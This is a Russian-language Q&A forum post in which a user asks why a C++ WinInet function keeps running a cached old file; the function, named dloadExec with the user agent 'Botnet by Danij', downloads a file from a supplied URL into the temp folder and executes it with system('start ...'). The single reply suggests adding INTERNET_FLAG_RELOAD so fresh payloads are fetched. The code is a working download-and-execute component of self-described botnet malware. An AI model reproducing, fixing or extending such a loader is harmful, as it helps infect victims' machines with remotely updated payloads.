@danij_com

Как убрать кеширование?

Здравствуйте.
Есть ф-ция на WinInet, которая качает и запускает файл по ссылке:
void dloadExec(string params) {

	params = dellProtocol(params);

	int n = params.find("/");

	string servtarget;
	string filetarg;
	string str = params.substr(0, n);
	servtarget = str;

	if (n == params.size()) filetarg = servtarget;
	else {
		str = params.substr(n + 1, params.size());
		filetarg = str;
	}

	string separ("/");
	string::size_type pos = filetarg.rfind(separ); // Позиция первого символа строки-разделителя.
	string trash = filetarg.substr(0, pos); // Строка до разделителя.
	string name = filetarg.substr(pos + separ.length()); // Строка после разделителя.


	char *cBuffer = new char[1024];
	ifstream fin;
	ofstream fout;
	DWORD dwBytesRead = 0;
	HINTERNET hInternetSession;
	HINTERNET hConnect;
	HINTERNET hRequest;
	BOOL Send;
	const unsigned int pathSize = 100;
	char tempPath[pathSize];
	GetTempPath(pathSize, (LPTSTR)tempPath);
	string temp = tempPath;
	string targFile = temp + name;

	if (FileExists(targFile)) {

		remove(targFile.c_str());
		Sleep(500);
	}

	Sleep(50);
	hInternetSession = InternetOpen(TEXT("Botnet by Danij"), INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
	if (hInternetSession != NULL)
	{
		hConnect = InternetConnect(hInternetSession, TEXT(servtarget.c_str()), INTERNET_DEFAULT_HTTP_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
		if (hConnect != NULL)
		{
			hRequest = HttpOpenRequest(hConnect, TEXT("GET"), TEXT(filetarg.c_str()), NULL, NULL, NULL, INTERNET_FLAG_NO_CACHE_WRITE, 0);
			if (hRequest)
			{
				Send = HttpSendRequest(hRequest, NULL, 0, NULL, 0);
				if (Send)
				{

					fout.open(targFile, ios::out | ios::binary);
					if (fout.is_open())
					{
						cout << "OPEN" << endl;
				
						DWORD dwSize = 0;
						do
						{
							InternetReadFile(hRequest, cBuffer, sizeof(cBuffer), &dwSize);
							fout.write(cBuffer, dwSize);
						} while (dwSize != 0);
					}
					else {
						cout << "Vse o4 ploha";
					}
					fout.close();
					delete[] cBuffer;
					Sleep(500);

				}
			}
			InternetCloseHandle(hRequest);
		}
		InternetCloseHandle(hConnect);
	}

	InternetCloseHandle(hInternetSession);
	string separ2(".");
	string::size_type pos2 = filetarg.rfind(separ2); // Позиция первого символа строки-разделителя.
	string trash2 = filetarg.substr(0, pos2); // Строка до разделителя.
	string format = filetarg.substr(pos2 + separ2.length()); // Строка после разделителя.
	if (format == "zip") {

	}
	else {
		string execute = "start " + targFile;
		system(execute.c_str());
	}
}

И все бы хорошо, но если ей удалось скачать файл хоть один раз - в следующий раз (если я заменю файл по ссылке), она все равно открывает тот же, что и был.
Как это решается, где моя ошибка?
  • Вопрос задан
  • 106 просмотров
Пригласить эксперта
Ответы на вопрос 1
jcmvbkbc
@jcmvbkbc
"I'm here to consult you" © Dogbert
Добавить INTERNET_FLAG_RELOAD в dwFlags HttpOpenRequest?
Ответ написан
Комментировать
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы